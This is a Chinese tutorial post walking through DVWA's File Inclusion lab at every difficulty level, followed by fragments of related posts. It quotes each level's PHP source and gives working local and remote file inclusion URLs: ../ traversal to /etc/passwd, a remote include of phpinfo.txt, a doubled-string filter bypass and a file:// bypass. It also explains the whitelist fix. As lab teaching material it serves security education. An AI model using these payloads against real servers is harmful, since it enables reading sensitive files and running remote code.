DVWA-全等级文件包含(File Inclusion)

1、什么是文件包含(File Inciusion):
一种代码处理方法,文件包含是指应用程序加载的文件(本地/远程)可以由用户提交的数据控制,从而导致攻击者控制恶意文件在服务器上执行。如当服务器开启allow_url_include选项时,就可以通过php的某些函数如include(),require(),include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。

文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项(选项开启之后,服务器允许包含一个远程的文件)。
2、文件包含漏洞
文件名的参数用户可控且过滤不严,被攻击者偷梁换柱

php文件中四种包含文件的函数

include():只有代码执行到该函数时才会包含文件进来,发生错误时只给出一个警告并继续向下执行。

include_once():和include()功能相同,区别在于当重复调用同一文件时,程序只调用一次。

require():只要程序执行就包含文件进来,发生错误时会输出错误结果并终止运行。

require_once():和require()功能相同,区别在于当重复调用同一文件时,程序只调用一次。

php文件包含漏洞的一般特征如下:

?page=a.php

?home=a.html

?file=content

DVWA文件包含

几种经典的测试方法:

?file=../../../../../etc/passwdd

?page=file:///etc/passwd

?home=main.cgi

?page=../../../../../etc/passwd

http://1.1.1.1/../../../../dir/file.txt

(通过多个../可以让目录回到根目录中然后再进入目标目录)

接下来我们就进入正题吧!

Low

源码:

1 vulnerabilities/fi/source/low.php
2 <?php
3
4 // The page we wish to display
5 $file = $_GET[ ‘page‘ ];
6
7 ?> 

我们通过源码可以发现,服务器对page参数没有任何过滤和检查,服务器期望用户的操作是点击下面的三个链接,服务器会包含相应的文件,并将结果返回。需要特别说明的是,服务器包含文件时,不管文件后缀是否是php,都会尝试当做php文件执行,如果文件内容确为php,则会正常执行并返回结果,如果不是,则会原封不动地打印文件内容,所以文件包含漏洞常常会导致任意文件读取与任意命令执行

点击第一个文件,此时的url  :http://192.128.24.140/vulnerabilities/fi/?page=include.php

而现实中,恶意的攻击者是不会乖乖点击这些链接的,因此page参数是不可控的。

漏洞利用:

1、本地文件包含

构造url

http://192.168.24.140/vulnerabilities/fi/?page=/etc/hack  显示报错,说明不是服务器系统不是Linux,但同时暴露了服务器文件的绝对路径C:

其实只要够早的路径是错误的,就会将服务器的绝对路径报露出来,毕竟是low级别的:http://192.168.24.140/vulnerabilities/fi/?page=lyk.php

构造url(绝对路径): http://192.168.24.140/vulnerabilities/fi/?page=C:\PhpStudy2018\PHPTutorial\WWW\config\1.txt    发现直接就可以进去!

2、当服务器的php配置中,选项allow_url_fopen与allow_url_include为开启状态时,服务器会允许包含远程服务器上的文件,如果对文件来源没有检查的话,就容易导致任意远程代码执行。在远程服务器10.211.55.12上传一个phpinfo.txt文件,内容如下

构造url :http://127.0.0.1/vulnerabilities/fi/?page=http://10.211.55.12/phpinfo.txt     成功在服务器上执行了phpinfo函数

为了增加隐蔽性,可以对http://10.211.55.12/phpinfo.txt进行编码

同样可以执行成功

Medium

查看代码:

 1 <?php
 2
 3 // The page we wish to display
 4 $file = $_GET[ ‘page‘ ];
 5
 6 // Input validation
 7 $file = str_replace( array( "http://", "https://" ), "", $file );
 8 $file = str_replace( array( "../", "..\"" ), "", $file );
 9
10 ?>

我们与上一个级别的代码相比,它新增加了两条语句,用str_replace函数,对page参数进行了一定的处理,将”http:// ”、”https://”、 ” ../”、”..\”替换为空字符,即删除。我们可以通过双写绕过WAF。同时,因为替换的只是“../”、“..\”,所以对采用绝对路径的方式包含文件是不会受到任何限制的,采用绝对路径的办法不受影响。但是远程文件包含就不行了,但是双写绕过后就可以了。

所以并没有什么难的东西增加,语句基本还是一样的:http://192.168.24.140/vulnerabilities/fi/?page=htthttp://p://10.211.55.12/phpinfo.txt

High

源代码分析:

 1 <?php
 2
 3 // The page we wish to display
 4 $file = $_GET[ ‘page‘ ];
 5
 6 // Input validation
 7 if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
 8     // This isn‘t the page we want!
 9     echo "ERROR: File not found!";
10     exit;
11 }
12
13 ?>

可以看到,High级别的代码使用了fnmatch函数检查page参数,要求page参数的开头必须是file,服务器才会去包含相应的文件。可以利用file协议绕过防护策略。file协议其实我们并不陌生,当我们用浏览器打开一个本地文件时,用的就是file协议。

构造url:http://192.168.24.140/vulnerabilities/fi/?page=file:///C:/PhpStudy/PHPTutorial/WWW/config/1.txt

不多说了!

Impossible

 源码分析:

 1 <?php
 2
 3 // The page we wish to display
 4 $file = $_GET[ ‘page‘ ];
 5
 6 // Only allow include.php or file{1..3}.php
 7 if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
 8     // This isn‘t the page we want!
 9     echo "ERROR: File not found!";
10     exit;
11 }
12
13 ?>

可以看到,Impossible级别的代码使用了白名单机制进行防护,简单粗暴,page参数必须为“include.php”、“file1.php”、“file2.php”、“file3.php”之一,彻底杜绝了文件包含漏洞。

结束了!

原文地址:https://www.cnblogs.com/li2019/p/12618953.html

时间: 2024-10-13 20:20:53

DVWA-全等级文件包含(File Inclusion)的相关文章

DVWA 黑客攻防实战(四)文件包含 File Inclusion

文件包含(file Inclusion)是一种很常见的攻击方式,主要是通过修改请求中变量从而访问了用户不应该访问的文件.还可以通过这个漏洞加载不属于本网站的文件,比如一个 webshell 从而实现网站控制.下面一起来看看 DVWA 中的文件包含漏洞. 低级 原本也不知道是什么意思,然后尝试点击一下 File1 就显示 File1 的内容了.而且发现 url 变成了 http://192.168.31.166:5678/vulnerabilities/fi/?page=file1.php Hac

dvwa——命令注入&amp;文件包含

命令注入 commond_injection 源码.分析.payload: low: <?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $target = $_REQUEST[ 'ip' ]; // Determine OS and execute the ping command. if( stristr( php_uname( 's' ), 'Windows NT' ) ) { // Windows $cmd = shell_exe

dvwa全等级命令行注入

1.LOW等级命令行注入 在低等级的命令行注入没有任何的过滤,通过查看源码可以得知, step1:使用ping 127.0.0.1&&dir可以得出如下结果 step2:使用 ping127.0.0.1&net user可以得到如下运行结果 step3:使用ping 127.0.0.1|dir可以得到如下结果 ps:在这里有必要说一下逻辑运算符“&”和“|”都是什么意思 &&:代表首先执行命令a在执行命令b,但是前提条件是命令a执行正确才会执行命令b,在a执

Pikachu-File Include(文件包含)

文件包含漏洞的基本概念: File Inclusion(文件包含漏洞)概述 文件包含,是一个功能.在各种开发语言中都提供了内置的文件包含函数,其可以使开发人员在一个代码文件中直接包含(引入)另外一个代码文件. 比如 在PHP中,提供了: include(),include_once() require(),require_once() 这些文件包含函数,这些函数在代码设计中被经常使用到. 大多数情况下,文件包含函数中包含的代码文件是固定的,因此也不会出现安全问题. 但是,有些时候,文件包含的代码

Pikachu-Inclusion文件包含

File Inclusion(文件包含漏洞)概述 文件包含,是一个功能.在各种开发语言中都提供了内置的文件包含函数,其可以使开发人员在一个代码文件中直接包含(引入)另外一个代码文件. 比如 在PHP中,提供了: include(),include_once() require(),require_once() 这些文件包含函数,这些函数在代码设计中被经常使用到. 大多数情况下,文件包含函数中包含的代码文件是固定的,因此也不会出现安全问题. 但是,有些时候,文件包含的代码文件被写成了一个变量,且这

pikachu靶场-File Inclusion(文件包含漏洞)

一.概述 文件包含,是一个功能.在各种开发语言中都提供了内置的文件包含函数,其可以使开发人员在一个代码文件中直接包含(引入)另外一个代码文件. 比如 在PHP中,提供了: include(),include_once() require(),require_once() 这些文件包含函数,这些函数在代码设计中被经常使用到. 大多数情况下,文件包含函数中包含的代码文件是固定的,因此也不会出现安全问题. 但是,有些时候,文件包含的代码文件被写成了一个变量,且这个变量可以由前端用户传进来,这种情况下,

【DVWA(九)】文件包含漏洞

文件包含漏洞 前言: 由于开发人员编写源码,将可重复使用的代码插入到单个的文件中,并在需要的时候将它们包含在特殊的功能代码文件中,然后包含文件中的代码会被解释执行.由于并没有针对代码中存在文件包含的函数入口做过滤,导致客户端可以提交恶意构造语句提交,并交由服务器端解释执行.文件包含攻击中WEB服务器源码里可能存在inlcude()此类文件包含操作函数,通过客户端构造提交文件路径,是该漏洞攻击成功的最主要原因. 如果攻击者为动态包含指令指定一个有效文件,那么该文件的内容会被传递给 PHP 解析器,

DVWA篇四:文件包含漏洞

1      测试环境介绍 测试环境为OWASP环境中的DVWA模块 2      测试说明 2.1  什么时远程文件包含漏洞 什么才是"远程文件包含漏洞"?回答是:服务器通过php的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到邪恶的目的. 涉及到的危险函数:include(),require()和include_once(),require_once() Include:包含并运行指定文件,当包含外部文件

DVWA —— File Inclusion分析

File Inclusion即文件包含漏洞,我们先在C盘一目录下创建一个123.txt,内容为'hello,world!' Low Low等级的代码从地址栏接收page参数,并未做出任何过滤 因此直接读取C:/work/123.txt,成功 Medium Medium等级的代码将'http://', 'https://', '../', '..\'都替换为' ',防御了简单的远程和本地包含 但是对绝对路径读取文件就没有效果了,而且str_replace()可以使用双写来绕过 若要使用相对路径,可